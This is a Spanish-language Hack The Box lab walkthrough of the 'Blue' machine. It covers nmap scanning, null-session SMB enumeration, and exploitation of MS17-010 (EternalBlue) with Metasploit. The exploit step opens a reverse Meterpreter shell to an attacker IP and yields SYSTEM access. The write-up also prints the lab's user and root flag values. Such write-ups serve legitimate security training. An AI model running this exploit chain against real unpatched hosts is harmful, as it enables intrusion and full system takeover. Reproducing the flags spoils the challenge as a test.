Hack The Box Easy Target IP: 10.129.27.204

Máquina Blue

Resolución paso a paso de la máquina Blue de Hack The Box. Escaneamos los puertos del sistema para identificar un servicio SMB expuesto sobre Windows 7, verificamos su vulnerabilidad ante EternalBlue (MS17-010) mediante un scanner de Metasploit, y lo explotamos para ganar acceso directo como NT AUTHORITY\SYSTEM.

#Windows#SMB#EternalBlue#MS17-010#Metasploit#Meterpreter

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de los puertos y servicios de la máquina objetivo (IP del Lab: 10.129.27.204) para analizar los puntos de entrada.

Escaneo Completo de Nmap

Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad agresiva (-T5):

sudo nmap -sV -T5 -A -p- 10.129.27.204
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.27.204

Resultados Clave de Nmap

El escaneo revela varios puertos abiertos de gran interés comercial y de red:

  • Puerto 135 (MSRPC): Servicio de llamadas a procedimiento remoto de Microsoft.
  • Puerto 139 (NetBIOS-SSN): Servicio de sesión NetBIOS.
  • Puerto 445 (SMB): Microsoft-DS corriendo sobre Windows 7 Professional 7601 Service Pack 1.
  • Puertos dinámicos (49152 al 49157): Puertos efímeros RPC de Windows.

El hallazgo de un sistema operativo Windows 7 sin actualizar con el puerto 445 expuesto sugiere de forma inmediata la posible presencia de la famosa vulnerabilidad MS17-010 (EternalBlue).


Fase 2: Enumeración del Servicio SMB

1. Listado de Recursos Compartidos (Null Session)

Intentamos listar los recursos compartidos del servidor SMB de la máquina víctima utilizando smbclient sin credenciales (sesión nula) a través de la IP del Lab (10.129.27.204):

smbclient -L \\10.129.27.204
Listado de recursos compartidos con smbclient
Detección de los recursos compartidos ADMIN$, C$, IPC$, Share y Users

El servidor responde correctamente, revelando varios discos y carpetas compartidas estándar, como Users y una carpeta personalizada llamada Share.

2. Comprobación de Vulnerabilidad MS17-010 en Metasploit

Iniciamos la consola de Metasploit (msfconsole) y realizamos una búsqueda de módulos relacionados con “eternalblue” para comprobar si el sistema es vulnerable:

msfconsole
msf > search eternalblue
Búsqueda de eternalblue en Metasploit
Módulos de EternalBlue sugeridos en Metasploit

Seleccionamos el módulo de escaneo auxiliar auxiliary/scanner/smb/smb_ms17_010 para verificar la existencia del fallo de seguridad sin llegar a explotarlo. Configuramos el parámetro RHOSTS con la IP del Lab (10.129.27.204) y lo ejecutamos:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.129.27.204
run
Ejecución del scanner de MS17-010
Confirmación del scanner: El host es altamente vulnerable a MS17-010 (EternalBlue)

El escáner confirma que la máquina objetivo es vulnerable a MS17-010 y se trata de un Windows 7 Professional SP1 de 64 bits.


Fase 3: Intrusión (Acceso Inicial Directo a SYSTEM)

1. Configuración del Exploit EternalBlue

Cargamos el módulo de explotación principal en Metasploit:

use exploit/windows/smb/ms17_010_eternalblue

Revisamos las opciones de configuración necesarias y establecemos los siguientes parámetros:

  • RHOSTS: IP de la máquina víctima (Lab: 10.129.27.204).
  • LHOST: IP de nuestra máquina atacante (Kali Linux: 10.10.15.148) para recibir la conexión reversa.
  • Payload: Se utilizará por defecto windows/x64/meterpreter/reverse_tcp.
set RHOSTS 10.129.27.204
set LHOST 10.10.15.148
Configuración del exploit ms17_010_eternalblue
Establecimiento de las IPs del Lab y de Kali en el módulo de explotación

2. Ejecución y Conexión Reversa

Ejecutamos el exploit utilizando el comando run o exploit. El exploit realiza el desbordamiento de búfer en el pool de memoria del kernel a través del protocolo SMBv1 (srv2.sys). Aunque el primer intento puede fallar o requerir un par de intentos de reserva de memoria (grooming), el exploit finalmente se ejecuta con éxito:

Ejecución exitosa del exploit y apertura de sesión
Explotación exitosa y recepción de la consola Meterpreter establecida desde la IP del Lab

Metasploit nos devuelve una sesión de Meterpreter directamente.


Fase 4: Escalada de Privilegios y Lectura de Flags

¿Por qué no es necesaria una fase de escalada de privilegios?

A diferencia de otras máquinas donde el acceso inicial se logra bajo el contexto de un usuario web de pocos privilegios (como iis apppool\web o www-data), el exploit EternalBlue (MS17-010) aprovecha un fallo de corrupción de memoria directamente en el kernel de Windows que gestiona el servicio SMB. Como el servicio SMB se ejecuta con los máximos privilegios del sistema operativo, el código inyectado hereda directamente esta identidad.

Ejecutamos el comando getuid en nuestra sesión de Meterpreter para verificarlo:

getuid

El servidor nos responde que nuestro usuario es NT AUTHORITY\SYSTEM. Al haber comprometido el kernel de manera directa, ya disponemos del máximo nivel de control y privilegios sobre la máquina.


Fase 5: Obtención de Flags

1. Flag de Usuario (user.txt)

Nos movemos al directorio de usuarios para localizar la flag de bajo privilegio. Listamos la carpeta del usuario local haris:

cd C:\users
ls
cd haris/desktop
ls
cat user.txt
Obtención del flag user.txt
Búsqueda y lectura de la flag del usuario haris en su Escritorio
  • Flag de Usuario: 9ed81926d4acb29aa113185b6a43bcff

2. Flag de Administrador (root.txt)

Nos desplazamos al Escritorio del Administrador para obtener el control total:

cd ..
cd ..
cd Administrator/Desktop
ls
cat root.txt
Obtención del flag root.txt
Lectura de la flag final del Administrador en su Escritorio
  • Flag de Root: c262e9bd3a9dc8c99bfbb1dcda948b7b

Fuentes y Referencias